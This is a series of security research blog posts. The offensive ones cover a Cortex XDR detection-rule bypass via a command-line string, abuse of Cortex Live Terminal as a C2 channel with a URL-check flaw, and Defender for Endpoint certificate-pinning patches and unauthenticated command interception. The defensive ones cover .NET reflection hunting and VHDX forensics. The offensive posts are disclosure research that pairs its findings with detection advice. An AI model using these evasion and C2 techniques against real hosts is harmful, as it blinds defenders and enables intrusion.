  ?the_f <- (process_start (cid ?cid) (command_line ?command_line &: (contains_one_of ?command_line ":\\windows\\ccmcache\\")))
  (not (internal.global_whitelist (cid ?cid)))
  =>
  (assert (internal.global_whitelist (cid ?cid) (prio ?*retention_priority_higher*) (dbg_fact_id (fact-index ?the_f)))))

The bypass is remarkably simple:

An implant started with this command line could do almost anything on the host without triggering the Cortex detection and prevention rules.

Disclosure Timeline

Date	Event
2025‑07‑28	We reported the abuse of the global whitelists to Palo Alto Networks.
2025‑08‑11	The Director of Offensive Security at Palo Alto Networks contacted us and asked for a delay of the 90-day disclosure policy, as well as more detailed information about the decryption of the rules.
2025‑08‑20	The Director of Offensive Security at Palo Alto Networks requested a meeting to discuss the timeline
2025‑09‑01	Meeting with Palo Alto. They want to publish a fix in February 2026. We granted the extended time to protect Cortex customers from an abuse of global whitelists.
2026‑01‑09	Palo Alto is on track to publish a fix by the end of February.
2026‑02‑24	We asked for a final date.
2026‑02‑24	Palo Alto responded that a fix is already published in Cortex XDR Agent version 9.1 and Content version 2160.

Analysing the Fix

The old encryption keys no longer work to decrypt the rules. However, the string !7H1@j@%J8VqP9c7SgstHaxzjfuS1u=EsVU#QMKHgogc*X8*sXoho2*t&paX5NJ@ in cysvc.dll from which a part of the key was derived is still the same. The second part and the "derivation" function changed slightly.

The actual issue, however, was the global whitelists in the decrypted rules. They fully removed the global whitelists. Spawning an implant that bypasses all kinds of rules at the same time is no longer possible. Bypassing individual rules, however, is of course still a lot easier when knowing the rules. Most of them have exceptions which can be abused.

Conclusion

There will always be a cat-and-mouse game between offensive and defensive security. A common approach in malware development is to create new techniques to bypass EDR agents, for example, by using new methods for shellcode injection. This post describes another method for evading detections when targeting specific EDRs. About half of the predefined behavioral detection rules in Cortex XDR could be bypassed by simply adding the command line argument :\Windows\ccmcache to the process that executes malicious actions. These rules are not directly accessible in plaintext, which can be compared to a "security by obscurity" approach. This raises the question of whether vendors' detection rules should be hidden or open. For example, Elastic and HarfangLab use open rules, but this creates a trade-off, as less-skilled attackers can also inspect them. Defenders should know their tools and not blindly trust a black-box detection and prevention solution.

Abusing Cortex XDR Live Terminal as a C2

Manuel Feifel — Tue, 24 Feb 2026 00:00:00 GMT

TL;DR

The Live Terminal feature of Cortex XDR can be abused by attackers as a pre-installed, EDR-trusted C2 channel. This "Living off the Land" technique offers many features:

✅ Command execution
✅ PowerShell execution
✅ Python execution
✅ Process explorer
✅ File explorer with upload and download capabilities
✅ GUI
✅ Evasion++: Commands can be executed without triggering detection/prevention rules (needs some tweaks not described in this post)
✅ No development effort
✅ Network traffic often excluded from TLS interception
✅ Direct C2-connections from all hosts by design
⚠️ Requires local administrator privileges to execute the payload from its native path
⚠️ Blocked without a bypass of default prevention rules

Introduction

EDR solutions are complex software with a large attack surface. We already analyzed different components for vulnerabilities in our series on attacking EDRs. This post now is a part of our research on the communication between the EDR agents and the cloud. The precondition is to analyse the network traffic which is described in the next section.

Research Setup: Analyzing network traffic

Analyzing the Cortex agent's main network traffic is straightforward. No certificate or CA pinning was observed. A feature called "certificate enforcement" exists, which uses its own trust store for certain connections, but this can be disabled in the configuration. The proxy can be configured using the system proxy settings.

On our test tenant, the server was [tenant].traps.paloaltonetworks.com. When a Live Terminal session is initiated, a WebSocket message is sent to the agent at the URL https://[tenant].traps.paloaltonetworks.com/operations/socket.

The download link for the Live Terminal payload appears to be ignored. It is a completely different version than the one that is actually executed. The command line instructs the agent how to execute the cortex-xdr-payload.exe:

With the proxy and TLS interception enabled, the connection to lrc-ch.paloaltonetworks.com raised a TLS error. Excluding this host from TLS interception allowed the connection to succeed, which means this connection probably does not use the system's certificate trust store.

Decompiling `cortex-xdr-payload.exe`

Examining the strings made it obvious that this was a packed Python executable created with PyInstaller. Using pyinstxtractor-ng, it was unpacked:

pyinstxtractor-ng cortex-xdr-payload.exe                                         
[+] Processing cortex-xdr-payload.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.12
[+] Length of package: 9798407 bytes
[+] Found 19 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pytz_zip_hook.pyc
[+] Possible entry point: hook_preload.pyc
[+] Possible entry point: pyi_rth_cryptography_openssl.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pywintypes.pyc
[+] Possible entry point: pyi_rth_pythoncom.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: main.pyc
[+] Found 1366 files in PYZ archive
[+] Successfully extracted pyinstaller archive: cortex-xdr-payload.exe

You can now use a python decompiler on the pyc files within the extracted directory

The resulting .pyc files were then decompiled using pylingual. Most other decompilers could not process Python 3.12.

The decompiled code shows the file that defines the trusted CAs:

The file contains standard CAs and not just specific ones used by Palo Alto hosts. I added the Burp Suite CA certificate to this file after disabling the Cortex agent. Using a file lock prevents the agent from overwriting it again after enabling Cortex.

Analyzing Live Terminal Network Traffic

With this modification, I could intercept the network traffic to lrc-ch.paloaltonetworks.com:

The protocol is relatively simple and lacks command signing. This looked like a ready-made C2 for attackers, too. An attacker can specify their "C2" server and send commands via WebSockets.

Abusing Live Terminal as C2

Method 1: Cross-Tenant

Surprisingly, it was even possible to use the official Live Terminal GUI for this attack. For this method, the attacker needs their own Cortex tenant:

The attacker starts a Live Terminal session in their own tenant.
The WebSocket message containing the host and token (-port 443 -server lrc-ch.paloaltonetworks.com -token [REDACTED] -d) is generated. The attacker must intercept this initial message and prevent it from reaching the legitimate agent on their own machine.
These host and token arguments are then used to start the cortex-xdr-payload.exe on the victim's host.
The connection from the victim is then received in the attacker's tenant.

The screenshot shows the result of this attack. WinDev2104Eval is in the attacker's tenant, and windev11-* is the victim host:

Method 2: Creating a Custom Server

Alternatively, an attacker without a Cortex tenant could re-implement the server-side component of the WebSocket-based communication. Based on the captured traffic, this would not require significant development effort using LLM agents.

The Python code of cortex-xdr-payload.exe includes a check for the server host, but this can be bypassed in several ways. An intrusive example is editing the hosts file, but if you look closely at the code, there is a trivial logic flaw in how the URL is validated.

def run_lrc_payload(lrc_payload_config, logger):
    lrc_exit_code = (-1)
    if not lrc_payload_config.server.endswith('.paloaltonetworks.com'):
        logger.error(f'Server address {lrc_payload_config.server} is invalid')
        return lrc_exit_code

By default, the hosts file is used:

if os.environ.get('use_custom_dns_query', 'FALSE')!= 'TRUE':
        terminal_logger.info('No bypassing hosts file enforced.')

The code above, lrc_payload_config.server.endswith('.paloaltonetworks.com'):, does not check the hostname itself, but the entire URL.

attacker.com/asdf is blocked:

attacker.com/test.paloaltonetworks.com is accepted:

Therefore, you can connect it to your own server implementation simply by appending the required string to your URL path.

Prevention Rules

The only hurdle is that Cortex has default rules to block and detect when its own processes are started by a non-standard parent process:

Bypasses for these rules will not be published in this post.

Detection

Legitimately, cortex-xdr-payload.exe is started by cyserver.exe, the main user-mode component of the Cortex agent. Therefore, any other parent process for cortex-xdr-payload.exe should be considered suspicious (e.g., defenders can monitor Process Creation events for anomalous ParentProcess values). InfoGuard customers are already protected from this abuse since September 2025.

Disclosure Timeline

Date	Event
2025‑09‑30	We reported the abuse of `cortex-xdr-payload.exe` and the hosts bypass in `run_lrc_payload` to Palo Alto Networks.
2025‑10‑02	Palo Alto Networks acknowledged receipt.
2025‑10‑02	Palo Alto Networks had issues reproducing it because it saves the log in the current working directory, and they used one that requires local SYSTEM permissions. Therefore, they received a "permission denied" error.
2025‑10‑02	InfoGuard clarified that this is because of the log file path. When running as SYSTEM in this case, it still works.
2025‑10‑08	Palo Alto Networks triaged the report to the product team and assigned the internal tracking ID CPATR‑33170.
2026‑01‑09	InfoGuard asked about the current status.
2026‑01‑09	Palo Alto Networks responded: "Thanks for following up on other email and apologies for the late response on this. The product team mentioned that they were aware about this issue from more than a year ago and they have fixed it as part of content updates so 8.7-8.9 should be protected."

According to our analysis with 8.9.1 and new content updates, there is no fix for the abuse and host bypass described in this post. This was tested on 2026-02-23.

Conclusion

This research highlights the ongoing need for security vendors to invest more effort in securing their own products. EDR agents are deployed to catch attackers, but they can also be abused in different ways.

From a design perspective, there appear to be no inherent mitigations to prevent this abuse of the Cortex XDR Live Terminal feature. Abusing this feature grants an attacker a highly capable C2 channel that natively blends into enterprise network traffic. The primary mitigation should not be a reactive, rule-based detection (like parent-process checks), but rather a secure-by-design approach to the feature's architecture — such as implementing mutual authentication and cryptographic command signing.

CLRaptor: Hunting reflected assemblies with Velociraptor

Matthew Green — Mon, 01 Dec 2025 00:00:00 GMT

In many intrusions attackers are observed using .NET across the attack lifecycle: payload execution by PowerShell cradles or other "living-off-the-land" binaries; ASP.NET webshells; in-memory C2 agents or capability for specific objectives. A key component of this activity is reflection - the ability to load assemblies and execute code dynamically at runtime.

In this post, I’ll walk through:

A quick refresher on .NET and why reflection is such a popular technique.
Two Velociraptor capabilities I have built:
1. A reflected assembly hunting artifact that consumes CLR ETW and surfaces in-memory / reflection-loaded assemblies at scale.
2. An artifact to identify CLR processes and detect patched or downgraded instances to overcome visibility gaps.
How to dump reflected assemblies for analysis.

The goal is to give incident responders a practical way to hunt for suspicious .net processes and triage effectively when they find them.

Background: .NET and the CLR

At a high level, .NET is Microsoft’s managed application platform. Instead of compiling straight to machine code, languages like C# compile to an intermediate bytecode called Common Intermediate Language (CIL). At runtime, the Common Language Runtime (CLR) compiles CIL to native x86/x64 code. CLR manages memory, type safety and exceptions.

On disk, .NET programs still look like normal Windows executables or DLLs, but with extra structure for managed code: - They use the same basic Windows binary format as native code, but add a .NET (COR20) directory. - That directory points to the CLR and metadata headers, which describe: - Types and methods - Strings and user-defined literals - GUIDs and signatures - These metadata streams (#~, #Strings, #US, #GUID, #Blob) effectively bolt a rich type system onto a regular Windows binary.

The important part to take away is what is in charge once a .NET program runs. For native binaries, Windows directly loads code and libraries. For .NET, the CLR sits in the middle and decides how managed assemblies are loaded, bound, and executed. With its large standard library and ease of use, .NET is a very convenient development platform.

Background: Reflection

In .NET, reflection is the runtime feature that lets code discover and use types, methods, and load assemblies dynamically. Legitimate software uses it for plugins, dynamic loading, and tooling - but for attackers it is a defence evasion technique, similar to injection, but for managed code. They can load assemblies straight from bytes in memory, resolve method names on the fly, and execute payloads more discreetly.

The image below is an example of a recently observed exploit payload. It reflectively loads a publicly available memory shell and executes an msiexec command:

Some common reflection APIs include:

Assembly.Load(byte[]): Load a full .NET assembly directly from a byte array in memory.
Type.GetType(string): Resolve a type by name at runtime, even if it was never referenced statically.
MethodInfo.Invoke(Object, Object[]) : Execute a method dynamically without static calls or direct code references.

This combination of fileless loading, runtime name resolution, and dynamic execution gives malware authors stealth, flexibility, and helps them evade basic detections.

Capability 1: Windows.Detection.ReflectedAssemblies

This Velociraptor artifact collects all currently loaded .NET assemblies from a target process and mirrors ProcessHacker’s “.NET Assemblies” tab. It automatically filters out assemblies that exist on disk and highlights those marked Dynamic, which is a strong indicator of reflection-loaded, memory-only modules. The artifact uses the Microsoft-Windows-DotNETRuntimeRundown ETW provider and is best run initially with its default configuration.

Below is an example from a system running a Covenant agent. Covenant is noisy, loading an assembly per task, making it a great example to explore.

The output includes AppDomainName, ModuleID, FullyQualifiedName, and ModuleILPath. Memory-reflected assemblies will typically have only a name for their ModuleILPath and no flags. Hunting at scale, I have observed many legitimate reflected assemblies, including IIS/ASP.NET websites and custom applications. An easy win is to look for common attack tool names, null version information in the FullyQualifiedName, and random names typically generated by attack frameworks.

Compared with Process Hacker view:

For ambiguous assemblies, the usual workflow is to run the artifact once to identify suspicious ModuleIDs, then rerun it with a ModuleIDRegex filter to pull back detailed metadata on those targets. Running in this ModuleID mode changes the ETW keyword flags and can significantly increase the number of events returned, so a targeted approach is recommended.

In the screenshot below, the suspicious attack framework methods are easy to spot. I also look for methods that expose unexpected capabilities relevant to the host process.

Reflection-based detection like this is effective, but it relies on CLR ETW. If ETW is patched or disabled, those signals may disappear - which leads us to Capability 2.

Capability 2: Windows.System.IsClrProcess

IsClrProcess addresses the visibility gap by identifying CLR-based processes and detecting potential patching. The artifact finds any running process that imports mscoree.dll, then runs a brief ETW collection to check whether the process emits CLR events and whether we may be looking at a downgrade attack or an older runtime version.

In the screenshot below, we have detected a Covenant process with both ETW and AMSI patched. The artifact uses the Mem2Disk capability, which compares patchable dlls on disk with the version running in memory.

There are also other useful indicators that may impact CLR visibility. The screenshot below shows two suspicious PowerShell processes, BLUE has been downgraded with the -version 2.0 switch on the commandline and RED using environment variables. When hunting in the wild, older applications may legitimately load older CLR modules (visible in the FileVersion), but downgraded PowerShell will often have this field absent.

Dump reflected assemblies for analysis.

A common triage use case is extracting assemblies for review and to reverse engineer with other tools. First, dump the process using Windows.Memory.ProcessDump.

:::important{title="WinDBG is a great tool for dump file analysis."} @DebugPrivilege has shared a resource for those interested in learning useful workflow for investigations and debugging case studies using WinDBG. :::

We can compare the patched and unpatched collected processes to validate Mem2Disk hits observed in Windows.System.IsClrProcess.

db ntdll!NtTraceEvent: shows the hex view starting at ntdll!NtTraceEvent.
u ntdll!NtTraceEvent: asks WinDBG to disassemble the machine code at that address and display the corresponding instructions.

In the screenshot below, we can see a RET at the first instruction, which is a strong indicator that the function has been patched to immediately return and skip the real syscall.

For extracting assemblies, a reliable method is to list non-Microsoft modules, then use the referenced address to extract interesting assemblies for analysis.

!load mex: Loads the MEX extension to provide advanced .NET/CLR inspection commands.
!mods -3: Lists all loaded modules, filtered to third-party/unknown modules.
lmva <base address>: Display detailed metadata for specific module.
!savemodule <base> <path>: Dumps the in-memory assembly to chosen path.

Finally, we can analyse extracted assemblies with our tools of choice:

Manual extraction can be tedious - we recently observed a case with an exploited server with hundreds of payload assemblies in process memory! To make this easier, I built a simple tool to extract assemblies from a process dump file automatically and dedupe via hash: DotnetDumper.

In the screenshot below, I have extracted all assemblies from our Covenant process in a fraction of the time of manual analysis.

Summary

In this post I’ve shown how Velociraptor can be used to hunt reflected assemblies and extract suspicious assemblies for triage quickly and effectively. All the relevant artifacts are available on the Velociraptor Artifact Exchange and GitHub linked below. Please let me know if you find this useful and feel free to provide feedback via X, LinkedIn or GitHub.

Windows.Detection.ReflectedAssemblies
Windows.System.IsClrProcess
DotnetDumper

References:

Analyzing and Breaking Defender for Endpoint's Cloud Communication

Manuel Feifel — Fri, 10 Oct 2025 00:00:00 GMT

TL;DR

By patching Defender for Endpoint in memory to bypass certificate pinning, we intercepted its cloud traffic. We found that several backend endpoints don't validate authentication tokens, allowing a post-breach attacker with a machine's ID to hijack the command-and-control channel. This flaw affects endpoints handling incident response commands, enabling an attacker to intercept them remotely before the target host receives them. It is a pull-based protocol where the first request wins and receives the command. For example, an attacker can prevent host isolation while spoofing a "successful" response. They can also return fake data for Live Response commands or plant malicious files in investigation packages to directly target the security analysts responding to the incident.

All findings were reported to the Microsoft Security Response Center (MSRC) in July 2025. However, Microsoft has classified them as low severity and has not committed to a fix.

Introduction

EDR solutions are complex software with a large attack surface. A missing piece in our series on attacking EDRs (Part 1: Attack Surface and Intro to Driver Analysis, Part 2: Driver Analysis Results, Part 3: DoS of EDR agents, Part 4: Fuzzing Defender) is the communication between the agent and the cloud. This post is a part of this research. We will publish findings on other EDRs at a later time.

The only other public research I found on this topic is a post from FalconForce here. They analyzed the web communication by dumping the HTTP requests and responses from memory using a debugger. While this is a cumbersome setup for identifying vulnerabilities, they successfully found an authentication issue related to sending alert data (CVE-2022–23278).

Therefore, I decided to use Burp Suite as a proxy and bypass certificate pinning by patching the validation function in memory.

Analyzing network traffic

Analyzing Defender for Endpoint agent's network traffic requires some effort because it uses certificate pinning.

The proxy settings used by DFE can be configured via: netsh winhttp set proxy <proxy>:<port>

Afterwards, you will notice certificate errors in the proxy and the agent stops the communication.

In order to debug the MsSense.exe process which performs the communication, I used WinDBG as a kernel debugger (see Part 4: 3.1 Debugging Defender). Using a user-mode debugger would require bypassing the agent's self-protection features.

To my surprise, there is very little information, write-ups or FRIDA-scripts on how to bypass certificate pinning for native Windows libraries such as Wininet. Therefore, I spent some time reverse-engineering the TLS communication in MsSense and examining example certificate pinning implementations for Windows. I ultimately bypassed the check by patching the CRYPT32!CertVerifyCertificateChainPolicy function:

0: kd> a CRYPT32!CertVerifyCertificateChainPolicy
00007ffe`e1215d20 mov eax, 1
00007ffe`e1215d25 ret
00007ffe`e1215d26 
0: kd> u CRYPT32!CertVerifyCertificateChainPolicy
CRYPT32!CertVerifyCertificateChainPolicy:
00007ffe`e1215d20 b801000000      mov     eax,1
00007ffe`e1215d25 c3              ret
00007ffe`e1215d26 084989          or      byte ptr [rcx-77h],cl

Afterwards, the plain text communication can be analyzed:

However, I still observed intermittent certificate errors in the Burp logs. Using TCPView, I noticed that the process SenseIR.exe sometimes starts and opens network connections.

These connections can also be intercepted by patching the following functions:

1: kd> a SenseIR!web::http::client::details::winhttp_client::verify_certificate_chain
00007ff6`081404b0 mov eax, 1
00007ff6`081404b5 ret
00007ff6`081404b6 
1: kd> a SenseIR!web::http::client::details::winhttp_request_context::on_send_request_validate_cn
00007ff6`0813c6f0 mov eax, 0
00007ff6`0813c6f5 ret
00007ff6`0813c6f6

Now, all requests can be intercepted including the data upload to an Azure Blob:

:::important{title=" "} Interestingly, the CloudLR tokens were still valid three months later at the time of writing this blog post. :::

Findings

The following findings can be abused without being on the target host. It directly targets vulnerabilities in the the backend endpoints.

Intercept `Commands` (Authentication Bypass and Spoofing Data)

The agent regularly sends a request to https://[location-specific-host]/edr/commands/cnc. If a command is available from the backend, the server returns it in the response. These commands are for example: isolationcommand, forensicscollectioncommand, scancommand or incidentresponsecommand.

Empty response

Response command

:::important Although the requests sent by Defender contain an Authorization token and a Msadeviceticket, the backend completely ignores these values. :::

Therefore, an unauthenticated attacker who knows the machine-ID and tenant-ID can send valid requests to this URL. These values can be read by low-privileged users on the system. Once the backend sends the command in a response, it will not send it again to subsequent requests. The following two screenshots show the Burp proxy on the left side and an Intruder window on the right that continiously makes requests to /edr/commands/cnc. The Intruder request (first screenshot) obtained the response (second screenshot), so the legitimate request from Defender did not receive a response:

Intruder request

Intruder response

An attacker can then upload arbitrary fake data to the provided Azure Blob URI (sasuri in the screenshot). Some other commands such as isolationcommand can be returned with a request to https://[location-specific-host]/commands/status.

Example Attack: Prevent Isolation and Spoof Result

1. Intercept command: First, intercept the isolation command intended for the target host. The actual agent does not receive the command.

2. Spoof Response: Next, send a spoofed response with the status Already isolated to the corresponding command ID.

3. Isolation bypassed: The result is an unisolated device that is reported as 'isolated' in the Microsoft Defender Portal.

The serialization format is annoying, so the easiest approach is to capture a legitimate response using a proxy and then modify it. As of October 10, 2025, I noticed that requests to https://winatp-gw-weu3.microsoft.com/commands/cnc are being throttled by the server. This was not the case in July.

Intercept `Actions` (Authentication Bypass and Spoofing Data)

This vulnerability is very similar to the previous one (Intercept Commands). It involves a different set of "actions" (e.g., Live Response or Automated Investigation) sent via a different URL (/senseir/v1/actions/) and uses different, but still ignored, authentication tokens.

Same as above, the Intruder window on the right obtains a response which the actual target does not receive. The proxy window on the left also obtains an action but it's a different one that was returned to this request because the intruder requests were running slowly. Therefore, both obtained a response but the actual target only received one instead of many:

:::important Again, there is no effective authentication. An attacker can obtain a valid CloudLR token without authentication by using just the machine ID. :::

These actions are encoded using Microsoft Bond. To get an idea of their contents, I used a LLM to write a decoder that could decode the data as much as possible without additional metadata:

Afterwards, an attacker needs to send additional requests to obtain the Azure Blob URL and upload the fake data there:

:::important If an investigation package is requested, an attacker could place similarly named malicious files within the uploaded data. It is plausible that an analyst might open them without suspicion. :::

Unauthenticated IR-Exclusions

An unauthenticated user can obtain IR-exclusions by sending a request to the registration endpoint. These are not detection or prevention exclusions, but rather files and folders excluded from automated or manual IR actions. The organization ID required for this request can be read by any user from the registry.

General Agent Configuration

An unauthenticated request to https://[location-specific-host]/edr/commands/cnc returns an 8MB file of configuration data. While the data does not appear to be tenant-specific, it could provide useful information about detection rules and exclusions. It is unclear how exactly this data is used by the agent, but it contains various configurations:

This includes configurations such as RegistryMonitoringConfiguration, DriverReadWriteAccessProcessList, DriverReadOnlyOpenProcessList, ASR-data, and other information that could be valuable to an attacker.

:::note Depending on the cncBitmask, it returns different data :::

Enumeration done by DFE (InvestigationPackage)

If an investigation was previously triggered on a compromised host, the resulting data package might still be available on the filesystem, and it is readable by any user:

It contains various types of information that are valuable for an attacke (e.g. Autoruns, installed programs, network connections, ...) :

Conclusion

These findings were straightforward to identify once the web traffic was intercepted. This demonstrates that simple vulnerabilities can remain undiscovered for years in components that are difficult to analyze.

I disagree with MSRC's assessment that these findings do not warrant remediation. The ability for an unauthenticated network-based attacker to impede the incident response process post-breach should be addressed. Furthermore, the risk of security analysts being targeted with malicious files via investigation packages is significant. The agent uses three different types of authentication tokens, yet all of them are either ignored by the backend or obtainable without any real authentication.

Automation of VHDX Investigations

Yann Malherbe — Fri, 19 Sep 2025 00:00:00 GMT

Introduction

In large-scale environments using Virtual Desktop Infrastructure (VDI) platforms like Citrix, incident responders can find it challenging to identify the initial point of compromise. While some setups use non-persistent sessions with golden image restoration, many environments persist user data on remote file servers. Instead of storing profiles as standard folders, it is common to find them stored within Virtual Hard Disk (VHDX) files.
These VHDX files often contain valuable forensic artefacts such as NTUSER.DAT hives and application execution traces. Investigating them manually, however, becomes inefficient at scale, especially when dealing with thousands of user profiles.
This blog post introduces a method for automating forensic analysis of VHDX-based user profiles using Velociraptor, our preferred DFIR tool. The goal is to scale investigations efficiently and reliably without compromising forensic integrity.

VHDX

Virtual Hard Disk v2 (VHDX) is a file format representing a virtual hard disk drive, containing its own partition layout and file system. It is commonly used in VDI environments to store individual user data, such as the roaming profile and the NTUSER.DAT registry hive.
From a forensic perspective, VHDX files can hold high-value artefacts, such as evidence of application execution via UserAssist and persistence mechanisms through registry run keys, both typically found within the NTUSER.DAT hive.
It is common for VDI platforms to store the contents of C:\Users\<Username>\ within a dedicated VHDX file, effectively treating each user profile as a standalone virtual disk image.

The Velociraptor Way

Velociraptor is a modern, open-source DFIR (Digital Forensics and Incident Response) tool used by many organisations to hunt for threats, collect artefacts, and conduct scalable investigations across enterprise environments. The link below provides an introduction to the tool and details on building artefacts.
https://www.infoguard.ch/en/blog/csirt-optimisation-event-log-analysis-recording-dfir
While Velociraptor supports VHDX accessors that allow direct parsing of virtual disk images. This setup typically requires custom artefacts designed for specific use cases, such as parsing UserAssist or registry hives within a mounted VHDX file. Therefore, each forensic check would require a dedicated artefact capable of understanding the VHDX structure.
A more scalable approach is to reuse existing Velociraptor artefacts, such as Windows.Registry.UserAssist or Windows.Registry.NTUser, without modification. The purpose of this research was to enable that capability: to support native artefacts when analysing data stored in VHDX-based user profiles.
To achieve this, we leverage virtual Velociraptor clients, instances configured to remap their environment to a specific VHDX file, similar to how Velociraptor operates in deaddisk mode. In this blog post, we’ll refer to these as virtual Velociraptor clients.
The concept is simple: run a virtual client on the file server where VHDX profiles are stored, and remap its configuration to point to one or more VHDX images. Several technical steps are required to make this work reliably. Let’s explore them one by one.

Windows.Sys.Users

Many Velociraptor artefacts which target the user registry, such as Windows.Registry.UserAssist, access the NTUSER.DAT hive through the Windows.Registry.NTUser artefact. However, this artefact relies on Windows.Sys.Users to enumerate the list of user profiles present on the system.
By default, the Windows.Sys.Users artefact retrieves user information from the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*

This works as expected on endpoint systems but fails on virtual Velociraptor clients, where this registry key relates to the one on the file server and not from the VHDX-based profiles. In such environments, since the key is from a system-based hive, it only reflects the local system users, not those stored in VHDX containers.
As a result, Velociraptor is unable to discover or parse the NTUSER.DAT hives located inside the VHDX files.
To overcome this, we explore two possible solutions:

Fake registry remapping: inject a synthetic ProfileList registry hive.
Artefact override: customise Windows.Sys.Users to support VHDX discovery logic.

Fake registry remapping
One approach to solving the user enumeration problem is to remap not only the file system to the VHDX image, but also the ProfileList registry key. By providing a custom registry hive that mimics this key, Velociraptor can be tricked into "seeing" the VHDX-hosted profiles as if they were locally present.
In the example below, we use PowerShell to:

Create temporary registry keys for each user.
Set their ProfileImagePath values to simulate the standard Windows user structure.
Export the registry hive to a .dat file.

# Define paths for the temporary hive and final file
$tempHivePath = "HKLM\Software\Velociraptor"
$binaryFilePath = "C:/Program Files/Velociraptor/Profile/ProfileList.dat"

# Add the users to the temp hive
reg.exe add "$($tempHivePath)\Brontosaurus" /v "ProfileImagePath" /t REG_EXPAND_SZ /d "C:\Users\Brontosaurus" /f 
reg.exe add "$($tempHivePath)\Stegosaurus" /v "ProfileImagePath" /t REG_EXPAND_SZ /d "C:\Users\Stegosaurus" /f
reg.exe add "$($tempHivePath)\Tyrannosaurus" /v "ProfileImagePath" /t REG_EXPAND_SZ /d "C:\Users\Tyrannosaurus" /f

# Export the temp hive
reg exe save $tempHivePath $binaryFilePath

# Cleanup the temp hive
reg.exe delete $tempHivePath /f

Next, we configure a YAML remapping to instruct Velociraptor to mount this exported hive in place of the original ProfileList key:

- type: mount
  description: 'Registry - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList'
  from:
    accessor: raw_reg
    prefix: |
      {
        "Path": "/"
        "DelegateAccessor": "file"
        "DelegatePath": "C:/Program Files/Velociraptor/Profile/ProfileList.dat"
      }
      path_type: registry
  "on" :
    accessor: registry
    prefix: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
    path_type: registry

With this setup, any call to Windows.Sys.Users will retrieve the synthetic entries we defined, allowing downstream artefacts (like Windows.Registry.NTUser) to function correctly. However, this approach has limitations. It involves manual steps that must be repeated whenever new users are added. Therefore, it is most suitable for small-scale, targeted investigations or proof-of-concept testing.

Artefact Override
A more robust and scalable solution is to override the default Windows.Sys.Users artefact. The customised version maintains compatibility with standard systems while adding logic to detect and enumerate VHDX-based profiles when operating in a virtual Velociraptor client context.
The core idea is to introduce a conditional check based on the Velociraptor client’s label. If the client is tagged with a specific label (e.g., remapped_profile), the artefact will scan for NTUSER.DAT files within C:\Users\*\ instead of relying on the traditional registry key.
The VQL override below illustrates this logic:

LET GetTimestamp(High, Low) = if(condition=High,
        then=timestamp(winfiletime=High * 4294967296 + Low))

// lookupSID() may not be available on deaddisk analysis
LET Standard = SELECT split(string=Key.OSPath.Basename, sep="-")[-1] as Uid,
   "" AS Gid,
   LookupSIDCache(SID=Key.OSPath.Basename || "") AS Name,
   Key.OSPath as Description,
   ProfileImagePath as Directory,
   Key.OSPath.Basename as UUID,
   Key.Mtime as Mtime,
   {
        SELECT Mtime
        FROM stat(filename=expand(path=ProfileImagePath))
    } AS HomedirMtime,
   dict(ProfileLoadTime=GetTimestamp(
           High=LocalProfileLoadTimeHigh, Low=LocalProfileLoadTimeLow),
        ProfileUnloadTime=GetTimestamp(
           High=LocalProfileUnloadTimeHigh, Low=LocalProfileUnloadTimeLow)
   ) AS Data
FROM read_reg_key(globs=remoteRegKey, accessor="registry")

// User list for remapped VHDX profiles emulating the Standard one
LET VHDXProfile = SELECT
      OSPath.Components[-2] AS Uid,
      OSPath.Dirname AS Directory,
      OSPath.Components[-2] AS UUID,
      OSPath.Components[-2] AS Name,
      "" AS Gid,
      Mtime,
      Mtime AS HomedirMtime,
      "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + OSPath.Components[-2] AS Description
    FROM glob(globs="C:/Users/*/NTUSER.DAT")

// Get the labels of the agent 
LET agent_config = SELECT labels FROM config

// Take the appropriate user list method
SELECT * FROM if(condition=agent_config.labels=~labelName, then=VHDXProfile, else=Standard)

Once the artefact override is written, it can be deployed at the server level using the following command:

/usr/local/bin/velociraptor —config /etc/velociraptor/server.config.yaml —definitions /etc/velociraptor/artifact_definitions frontend

With this configuration, the Velociraptor server will automatically distribute the custom artefact to clients. There’s no need to modify individual client configurations. Any virtual client launched with the appropriate label (e.g., remapped_profile) will use the VHDX logic seamlessly.
This is a better solution as it centralises logic, reduces operational overhead, and supports dynamic scaling, making it ideal for multi-user investigations.

Remapping Configuration

Once the user enumeration issue is resolved using the artefact override, the next step is to create a remapping configuration that links specific user profile paths (e.g. C:\Users\Brontomerus) to their corresponding VHDX files.
This remapping is crucial: it allows Velociraptor’s artefacts, which expect standard Windows paths, to transparently operate on data stored within VHDX containers.
Below is an example of a remapping configuration for the NTFS accessor, pointing C:\Users\Brontomerus to a specific VHDX file:

- type: mount
  description: 'NTFS - Brontomerus'
  from:
    accessor: raw_ntfs
    prefix: |
      {
        "DelegateAccessor": "offset",
        "Delegate": {
          "DelegateAccessor": "vhdx",
          "DelegatePath": "F:/VHDX/Profile_Brontomerus.VHDX",
          "Path":"/1048576"
        },
        "Path": "/Profile"
      }
  "on":
    accessor: ntfs
    prefix: '\\.\C:\Users\Brontomerus'
    path_type: ntfs

This remapping allows the virtual Velociraptor client to access the contents of the VHDX file as if it were the actual C:\Users\Brontomerus directory on disk. To ensure full compatibility with Velociraptor artefacts, similar remappings should be created for:

file accessor for standard file operations
auto accessor for hybrid path resolution
registry accessor for registry hive access

When these accessors are mapped properly, standard artefacts (like Windows.Registry.NTUser, Windows.Registry.UserAssist, etc.) will function as expected within the virtual client context.

Virtual Client Creation

With the remapping configuration in place, we can now launch a virtual Velociraptor client. This is a standalone Velociraptor process that operates like a deaddisk client, using the remapped paths to access the contents of a specific VHDX file as if it were a local user profile.
The following PowerShell command starts the virtual client using the appropriate configuration and remapping YAML file:

